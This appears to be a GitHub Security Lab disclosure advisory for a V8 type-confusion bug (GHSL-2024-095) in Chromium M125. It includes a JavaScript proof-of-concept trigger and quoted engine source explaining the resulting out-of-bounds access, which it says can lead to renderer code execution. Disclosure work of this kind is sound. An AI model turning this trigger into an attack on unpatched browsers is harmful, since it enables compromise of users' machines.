Coordinated Disclosure Timeline

Summary

Type confusion between fast and dictionary objects in TryFastAddDataProperty in v8

Project

Chromium

Tested Version

M125

Details

Type confusion in TryFastAddDataProperty (GHSL-2024-095)

When cloning an object using FastAssign, if the source object has an accessor, it’ll be called to get the property value that is then used in the call of CreateDataProperty. A malicious accessor can cause the map of the target to become deprecated:

var x = {};
x.a0 = 1;
var x1 = {};
x1.a0 = 1;
//Creates a transition from map {a0} to {a0, prop}
x1.prop = 1;

x.__defineGetter__("prop", function() {
  let obj = {};
  obj.a0 = 1.5; //<------ map of x and x1 are now deprecated
  return 1;
});

x.z = 1;
delete x.z;
//Cloning calls accessor `prop` of x before calling `CreateDataProperty` to create property `prop` on target
var y = {...x};

CreateDataProperty then uses TryFastAddDataProperty to add the property prop to the target object:

bool TryFastAddDataProperty(Isolate* isolate, Handle<JSObject> object,
                            Handle<Name> name, Handle<Object> value,
                            PropertyAttributes attributes) {
  Tagged<Map> map =
      TransitionsAccessor(isolate, object->map())
          .SearchTransition(*name, PropertyKind::kData, attributes);
  if (map.is_null()) return false;
  ...
  new_map = Map::PrepareForDataProperty(isolate, new_map, descriptor,
                                        PropertyConstness::kConst, value);
  ...
  object->WriteToField(descriptor,
                       new_map->instance_descriptors()->GetDetails(descriptor),
                       *value);
  return true;
}

TryFastAddDataProperty first searches for a transition map to property prop. This will find the map of x1, which is also deprecated. The deprecated map is then passed to Map::PrepareForDataProperty, which will try to update it:

Handle<Map> Map::PrepareForDataProperty(Isolate* isolate, Handle<Map> map,
                                        InternalIndex descriptor,
                                        PropertyConstness constness,
                                        Handle<Object> value) {
  // Update to the newest map before storing the property.
  map = Update(isolate, map);
  // Dictionaries can store any property value.
  DCHECK(!map->is_dictionary_map());
  return UpdateDescriptorForValue(isolate, map, descriptor, constness, value);

However, as pointed out in bug 40062884, updating a deprecated map can cause it to become a dictionary map. As the call WriteToField in TryFastAddDataProperty still assumes new_map is a fast map, it’ll use FastPropertyAtPut to write the property:

void JSObject::WriteToField(InternalIndex descriptor, PropertyDetails details,
                            Tagged<Object> value) {
  ...
  FieldIndex index = FieldIndex::ForDetails(map(), details);
  if (details.representation().IsDouble()) {
    ...
  } else {
    FastPropertyAtPut(index, value);
  }
}

When new_map becomes a dictionary map due to the update, this will cause a type confusion between PropertyArray and NameDictionary and can cause internal properties of the NameDictionary to be overwritten, which can then be used to cause OOB access from the NameDictionary.

Impact

This issue can be exploited to gain RCE in the Chrome renderer sandbox

CVE

Credit

This issue was discovered and reported by GHSL team member @m-y-mo (Man Yue Mo).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-095 in any communication regarding this issue.